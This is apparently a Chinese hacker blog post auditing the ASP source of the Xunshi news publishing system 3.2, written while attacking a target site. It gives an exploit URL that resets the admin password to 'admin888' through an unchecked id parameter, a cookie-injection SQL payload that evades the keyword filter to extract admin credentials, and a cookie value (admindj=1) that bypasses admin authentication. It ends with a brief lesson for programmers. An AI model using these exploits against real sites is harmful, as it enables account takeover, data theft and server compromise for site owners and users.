好久没读代码了,而且是N久没碰的asp.迅时新闻发布系统,在网上就能找到个注入漏洞的文章,还是cookies注入,试了下,我的目标已经不存在这个漏洞,下了一套最新的3.2版本.忽然发现eWebEdITor,可惜目标站的被管理员废掉了,利用不了了.
因为我已经有了一个可以发表文章的账户(id密码相同),但是权限非常低,可以玩玩XSS,能cookies欺骗,但是我不喜欢等待,还有搭积木一样的注入,所以直接找提权漏洞咯.在admin_admin_edITpass.asp中有点问题,倒着看(我的习惯),85行:
<form method="POST" action="admin_admin_ed ITpass_save.asp?id=<%=id%>" name="FrontPage_Form1"> //根据这个id修改密码 ...很CGX的省略号... <p align="left"><font face="Wingdings">1</font><b>修改<%=username%>密码 ...依然CGX... <input type="text" name="username" size="42" value="<%=username%>" maxlength="20"></td> id,username的作用与实现基本了解了,证实一下,22行:
id=trim(request("id")) //这段是根据id(木过滤)得到修改的username云云
if id<>"" then
sql = "select * from admin where id="&id
Set rs = Server.CreateObject("ADODB.RecordSet")
rs.Open sql,conn,1,1
if rs.recordcount<>0 then
username=rs("user")
end if
在来看下保存密码的文件,admin_admin_edITpass_save.asp,25行:
id=trim(request("id")) //id也没过滤
username=trim(request("username"))
password=md5(trim(request("password")))
if id<>"" then //漏洞出现咯
sql = "select * from admin where id="&id
Set rs = Server.CreateObject("ADODB.RecordSet")
rs.Open sql,conn,1,2
if rs.recordcount<>0 then
rs("user")=username //MD,这也能改
rs("pass")=password
rs.update //cool,直接update了
end if
敏感的人一下就会看出,id没过滤,没错,是没过滤,但是我要告诉你,这个漏洞另有乾坤,就算他过滤了,也照黑无误!
首先程序通过这个id得到对应的username,而id是和你登录信息有关的,这些不重要,重要的是他是依靠id直接update密码的,只要指定了id,有个账户就可以更改任意用户的密码.Exploit:http://www.xxx.com/admin_admin_edITpass_save.asp?id=1&username=admin&password=admin888 ,admin密码就改成admin888了,拿shell很简单,还是数据库.
关于这个id的注入,也很简单,不过也需要一个账户可以访问这个文件,发现迅时有放注入的过滤处理,引用了一个文件<!--#include file = admin_conn.asp -->,逐步跟踪这个文件,发现详细的过滤是这样的:
sss=LCase(request.servervariables("QUERY_STRING")) if instr(sss,"select")<>0 or instr(sss,"inster")<>0 or instr(sss,"delete")<>0 or instr(sss,"(")<>0 or instr(sss,"'or")<>0 then response.wr ITe "<BR><BR><center>你的网址不合法" response.end end if 很简单的过滤,拿下了几个SQL关键字和括号,却给普通注入造成了极大的麻烦,不过既然是request.servervariables("QUERY_STRING"),那cookies注入还是有杀伤力的,本地写个中转站,然后exploIT:http://127.0.0.1/cookie.php?id=1%20and%20(select%20asc(mid(user,1,1))%20from%20[admin]%20where%20id=1)=97,依次猜解,不过和上面的提权漏洞相比没什么价值,除非你不想让管理员发现.
本已经达到目的,但是在看几处代码让我大跌眼睛(因为我没眼镜),后台文件对身份验证居然是这样的,太2了吧,如果添加管理员也是这样的话...没看的必要了.
if Request.Cookies("admindj")<>"1" then //玩鹰呢 Response.Wr ITe "<BR><BR><BR><BR><center>权限不足，你没有此功能的管理权限" Response.end end if 修改cookies中的admindj的参数为1,那么就...Admin,welcome to back:)
前台也好不到哪去,好烂的代码,随随便便即可从无到有.因为好久没读代码了,所以YY一下,希望程序员能了解,过滤不等于安全,逻辑也很重要. |
